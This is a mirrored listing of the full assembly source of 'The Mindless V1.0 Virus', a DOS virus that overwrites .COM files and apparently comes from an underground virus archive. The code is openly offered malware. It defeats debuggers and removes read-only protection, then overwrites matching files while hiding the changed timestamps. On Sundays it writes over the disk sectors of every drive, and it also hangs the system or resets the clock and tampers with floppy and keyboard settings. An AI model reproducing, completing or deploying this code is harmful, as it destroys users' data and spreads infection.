home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / mindless.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  5.7 KB  |  228 lines

  1. ;    The Mindless V1.0 Virus 
  2.  
  3. ;
  4.  
  5. ;    Type:  *.COM Overwriter
  6.  
  7. ;
  8.  
  9. ;    Programmer:  Natas Kaupas
  10.  
  11.  
  12.  
  13. ;    Notes:
  14.  
  15. ;
  16.  
  17. ;        Read the texts that come with this for all of the necessary 
  18.  
  19. ;    info...if you've got any questions contact me on any YAM Dist. Sites.
  20.  
  21. ;
  22.  
  23. ;    I Couldn't Have Made This Without:
  24.  
  25. ;
  26.  
  27. ;    Soltan Griss        -Kode4
  28.  
  29. ;    Data Disruptor        -encrypted part
  30.  
  31. ;    Mr. Mike        -typematic delay thing    
  32.  
  33. ;    And Everyone I Forgot!
  34.  
  35.  
  36.  
  37. seg_a       segment byte public
  38.  
  39.         assume  cs:seg_a, ds:seg_a
  40.  
  41.         org     100h
  42.  
  43.  
  44.  
  45.  
  46.  
  47. MINDL           proc    far       
  48.  
  49. start           label   near               
  50.  
  51.         db    0E9h,00h,00h
  52.  
  53.         
  54.  
  55. vstart        equ    $
  56.  
  57.  
  58.  
  59.     mov    cx,09EBh        ;debug killer
  60.  
  61.     mov    ax,0FE05h        ;
  62.  
  63.     jmp    $-2            ;
  64.  
  65.     add    ah,03Bh            ;
  66.  
  67.     jmp    $-10            ;
  68.  
  69.  
  70.  
  71.         push    ds           ;save old data segment
  72.  
  73.         sub     ax,ax        ;put zero in ax
  74.  
  75.         push    ax           ;save it on stack
  76.  
  77.  
  78.  
  79.     mov    ah,2ah            ;get date
  80.  
  81.     int    21h
  82.  
  83.     cmp    al,0            ;is it a Sunday?
  84.  
  85.     jne    rater            ;no...don't format then
  86.  
  87.  
  88.  
  89. doom:
  90.  
  91.     mov    ax,3301h        ;turn off ^C Check
  92.  
  93.     xor    dl,dl            ;0
  94.  
  95.     int    21h
  96.  
  97.  
  98.  
  99.     mov    cx,lident        ;this all has to do with the encrypted
  100.  
  101.     mov    si,offset ident        ;message
  102.  
  103.     mov    di,offset dest        ;
  104.  
  105. doshit:
  106.  
  107.     mov    al,ds:[si]            ;unencrypt message
  108.  
  109.     mov    temp,al                ;
  110.  
  111.     xor    byte ptr ds:[temp],01h        ;
  112.  
  113.     mov    al,temp                ;
  114.  
  115.     mov    [di],al                ;
  116.  
  117.     inc    si                ;
  118.  
  119.     inc    di                ;
  120.  
  121.     loop    doshit                ;loop back and finish it
  122.  
  123. doomb:
  124.  
  125.     cmp    drive,27        ;format all drives
  126.  
  127.     jge    boot            ;done...then end (boot)
  128.  
  129.     pushf                ;push flags on
  130.  
  131.     mov    al,drive        ;find drive
  132.  
  133.     mov    cx,sectors        ;find sectors
  134.  
  135.     mov    dx,0            ;start at sector 0
  136.  
  137.     mov    bx,offset dest        ;write encrypted message
  138.  
  139.     int    26h            ;format
  140.  
  141.     popf                ;pop flags off
  142.  
  143.     inc    drive            ;go up to next drive
  144.  
  145.     jmp    doomb            ;repeat
  146.  
  147.  
  148.  
  149. ;this was originally going to boot...but for some reason it couldn't format in 
  150.  
  151. ;time (before the boot), so it didn't format...oh well.
  152.  
  153.  
  154.  
  155. boot:
  156.  
  157.     mov    dl,2ch        ;get system time
  158.  
  159.     int    21h
  160.  
  161.     and    dl,0Fh        ;AND 100th seconds by 0Fh
  162.  
  163.     or    dl,dl        ;0?
  164.  
  165.     jz    locker        ;yes..then lock up system
  166.  
  167.  
  168.  
  169.     mov    cx,1980            ;date, 1980
  170.  
  171.     mov    dx,0            ;mon/day, 0
  172.  
  173.     mov    ah,2Bh            ;set date
  174.  
  175.     int    21h
  176.  
  177.     mov    cx,0            ;hrs/min, 0
  178.  
  179.     mov    dx,0            ;sec, 0
  180.  
  181.     mov    ah,2Dh            ;set time
  182.  
  183.     int    21h
  184.  
  185.     mov    ax,3301h        ;turn ^C Check back on
  186.  
  187.     mov    dl,1            ;1
  188.  
  189.     int    21h
  190.  
  191.     mov    ax,4c00h        ;end with error message 00
  192.  
  193.     int    21h
  194.  
  195.  
  196.  
  197. locker:
  198.  
  199.     jmp    $            ;lock up computer    
  200.  
  201.  
  202.  
  203. rater:
  204.  
  205.     mov    al,dl
  206.  
  207.     mov    dl,0c0h        ;unkown ms, really grinds on mine though!
  208.  
  209.     jz    valid        ;it must be around 15ms
  210.  
  211.                 ;which is slow considering default is 9ms
  212.  
  213.                 ;and most floppies can actually go under 6ms
  214.  
  215.  
  216.  
  217. valid:
  218.  
  219.         push    ds           ;Save the data segment
  220.  
  221.         mov     bx,78h       ;point to pointer for floppy drive tables
  222.  
  223.         mov     ax,0
  224.  
  225.         mov     ds,ax        ;set to segment 0
  226.  
  227.         mov     ax,[bx]      ;get the pointer
  228.  
  229.         mov     bx,ax        ;into the bx register
  230.  
  231.         mov     al,[bx]      ;now get the present step rate
  232.  
  233.         and     al,0fh       ;remove the old step rate
  234.  
  235.         or      al,dl        ;put in the new step rate
  236.  
  237.         mov     [bx],al      ;and put it back where it goes
  238.  
  239.         mov     ah,0         ;now call on the BIOS to
  240.  
  241.         int     13h          ;reload the set floppy disk controller
  242.  
  243.         pop     ds           ;Reset the Data Segment
  244.  
  245.  
  246.  
  247. go_on:
  248.  
  249.  
  250.  
  251.     push    ds        ;save present data segment
  252.  
  253.  
  254.  
  255.     mov    bx,78h        ;point to pointer for floppy drive tables
  256.  
  257.     mov    ax,0
  258.  
  259.     mov    ds,ax        ;set to segment 0
  260.  
  261.     mov    ax,[bx]        ;get the pointer
  262.  
  263.     mov    bx,ax        ;into the bx register
  264.  
  265.     mov    al,[bx]        ;now get the step rate
  266.  
  267.     pop    ds
  268.  
  269.     push    ax        ;save the step rate on the stack
  270.  
  271.  
  272.  
  273.  
  274.  
  275. typematic:
  276.  
  277.     mov    bl,repeat        ;get the parameters
  278.  
  279.     mov    bh,init            ;
  280.  
  281.     mov    ax,305h            ;set typematic rate and delay
  282.  
  283.     int    16h            ;
  284.  
  285.     xor    al,al            ;errorlevel = 0
  286.  
  287.  
  288.  
  289. n_start:    mov     ah,4Eh             ;Find first Com file in directory  
  290.  
  291.         mov     dx,offset filename ;use "*.com"     
  292.  
  293.         int     21h                
  294.  
  295.                       
  296.  
  297. Back:                                       
  298.  
  299.         mov     ah,43h              ;get rid of read only protection
  300.  
  301.         mov     al,0            ;    
  302.  
  303.         mov     dx,9eh            ;
  304.  
  305.         int     21h            ;    
  306.  
  307.         mov     ah,43h            ;
  308.  
  309.         mov     al,01            ;
  310.  
  311.         and     cx,11111110b        ;
  312.  
  313.         int     21h            ;
  314.  
  315.         
  316.  
  317.         mov     ax,3D01h           ;Open file for writing
  318.  
  319.         mov     dx,9Eh             ;get file name from file data area
  320.  
  321.         int     21h                  
  322.  
  323.                           
  324.  
  325.         mov     bx,ax               ;save handle in bx
  326.  
  327.         mov     ah,57h              ;get time date
  328.  
  329.         mov     al,0
  330.  
  331.         int     21h
  332.  
  333.         
  334.  
  335.         push    cx                  ;put in stack for later
  336.  
  337.         push    dx
  338.  
  339.  
  340.  
  341.  
  342.  
  343.         mov     dx,100h            ;Start writing at 100h
  344.  
  345.         mov     cx,(vend-vstart)        ;write ?? bytes
  346.  
  347.         mov     ah,40h             ;Write Data into the file
  348.  
  349.         int     21h                   
  350.  
  351.                           
  352.  
  353.                           
  354.  
  355.         pop     dx                 ;Restore old dates and times 
  356.  
  357.         pop     cx
  358.  
  359.         mov     ah,57h
  360.  
  361.         mov     al,01h
  362.  
  363.         int     21h
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371.         mov     ah,3Eh             ;Close the file
  372.  
  373.         int     21h                   
  374.  
  375.                            
  376.  
  377.         mov     ah,4Fh             ;Find Next file
  378.  
  379.         int     21h                    
  380.  
  381.                         
  382.  
  383.         jnc     Back               
  384.  
  385.  
  386.  
  387. done:    
  388.  
  389.  
  390.  
  391.            int     20h                ;Terminate Program
  392.  
  393.  
  394.  
  395. V_Length        equ     vend-vstart
  396.  
  397.  
  398.  
  399. drive    db    ?
  400.  
  401. sectors    dw    456
  402.  
  403.  
  404.  
  405. filename        db      "*.c*",0                     
  406.  
  407.  
  408.  
  409. ident    db    "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10
  410.  
  411.     db    "Uid!Lhoemdrr!Whstr!w0/1!",13,10
  412.  
  413.  
  414.  
  415. ;encrypted message:
  416.  
  417. ;ident    db    "[Youngsters Against McAffee] -NATAS KAUPAS",13,10
  418.  
  419. ;    db    "The Mindless Virus v1.0 ",13,10
  420.  
  421.  
  422.  
  423. lident    equ    $-ident
  424.  
  425. dest    db    [lident-1/2] dup (?)
  426.  
  427. temp    db    0
  428.  
  429.  
  430.  
  431. repeat        equ    250
  432.  
  433. init        equ    0
  434.  
  435.  
  436.  
  437. mindl           endp
  438.  
  439.  
  440.  
  441. vend        equ    $
  442.  
  443.  
  444.  
  445. seg_a           ends
  446.  
  447.  
  448.  
  449.         end     start
  450.  
  451.  
  452.  
  453.  
  454.  
  455.